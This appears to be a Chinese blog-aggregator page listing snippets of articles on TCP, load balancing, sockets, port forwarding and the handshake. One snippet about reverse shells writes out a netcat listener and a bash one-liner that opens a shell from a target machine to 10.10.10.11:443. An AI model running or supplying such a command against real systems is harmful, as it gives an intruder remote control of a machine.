Haproxy与Keepalived VRRP 介绍 软件:haproxy 主要是做负载均衡的7层,也可以做4层负载均衡 apache也可以做7层负载均衡,但是很麻烦。实际工作中没有人用。负载均衡是通过OSI协议对应的 7层负载均衡:用的7层http协议, 4层负载均衡:用的是tcp协议加端口号做的 ...
分类:
其他好文 时间:
2020-07-05 10:43:23
阅读次数:
46
第五章 传输层 计算机网络(王道考研) 概述 功能 TCP vs UDP 寻址与端口 常用端口 Socket 两个socket组成一个TCP连接 复用与分用 复用:上层向下层发送数据 分用:接受下层返回的数据 UDP协议 UDP首部格式 UDP校验 TCP协议特点和报文段格式 特点 TCP报文段首部 ...
分类:
其他好文 时间:
2020-07-03 23:05:03
阅读次数:
83
应用场景 1.公司电脑与家中电脑的远程控制,一般通过teamview、向日葵等软件,端口互通后,可以使用电脑自带的远程桌面 2.家中电脑搭建SVN、git仓库,在外网或者内网访问,一般使用云服务器,端口互通后,可以部署在任意电脑 3.家中电脑搭建数据库、web服务以及其他基于TCP协议的服务,端口互 ...
分类:
Web程序 时间:
2020-07-02 16:34:24
阅读次数:
51
socketserver模块使用与源码分析 前言 在前面的学习中我们其实已经可以通过socket模块来建立我们的服务端,并且还介绍了关于TCP协议的粘包问题。但是还有一个非常大的问题就是我们所编写的Server端是不支持并发性服务的,在我们之前的代码中只能加入一个通信循环来进行排队式的单窗口一对一服 ...
分类:
其他好文 时间:
2020-06-29 09:36:03
阅读次数:
54
TCP协议粘包问题详解 前言 在本章节中,我们将探讨TCP协议基于流式传输的最大一个问题,即粘包问题。本章主要介绍TCP粘包的原理与其三种解决粘包的方案。并且还会介绍为什么UDP协议不会产生粘包。 基于TCP协议的socket实现远程命令输入 我们准备做一个可以在Client端远程执行Server端 ...
分类:
其他好文 时间:
2020-06-28 15:37:14
阅读次数:
53
一般做过web测试的都应该了解什么是网络: (一)简单描述下TCP协议 TCP:传输控制协议,是传输层通信协议。它有面向连接、可靠、字节流传输等特点TCP建立连接时,需要三次握手协议TCP三次握手的过程如下:可以这么去理解,客户端发一个请求给服务器,服务器收到了并回复客户端说“收到了”这是第一次握手 ...
分类:
其他好文 时间:
2020-06-28 09:21:24
阅读次数:
60
1. 基本概念 1.1 HTTP HTTP(HyperText Transfer Protocol:超文本传输协议)是一种应用层协议。HTTP协议是Web工作的核心,常用于在 Web 浏览器和网站服务器之间传递信息,以 http:// 打头的网站都是标准 HTTP 服务。它建立在TCP协议之上,一般 ...
分类:
Web程序 时间:
2020-06-27 15:56:08
阅读次数:
70
假设本机地址10.10.10.11,监听端口443。 1、Bash环境下反弹TCP协议shell 首先在本地监听TCP协议443端口 nc -lvp 443 然后在靶机上执行如下命令: bash -i >& /dev/tcp/10.10.10.11/443 0>&1 /bin/bash -i > / ...
分类:
系统相关 时间:
2020-06-26 23:49:20
阅读次数:
66
TCP协议是面向连接的协议,在建立连接的时候需要经过三次握手;在关闭连接的时候需要四次挥手。## 三次握手图示[^pic1]:[^pic1]: 图片来自知乎专栏: https://zhuanlan.zhihu.com/p/53374516![](https://img2020.cnblogs.com... ...
分类:
其他好文 时间:
2020-06-24 19:57:28
阅读次数:
48
三次握手(three-way handshaking) 1.背景:TCP位于传输层,作用是提供可靠的字节流服务,为了准确无误地将数据送达目的地,TCP协议采纳三次握手策略。 2.原理: 1)发送端首先发送一个带有SYN(synchronize)标志地数据包给接收方。 2)接收方接收后,回传一个带有S ...
分类:
其他好文 时间:
2020-06-24 15:39:22
阅读次数:
40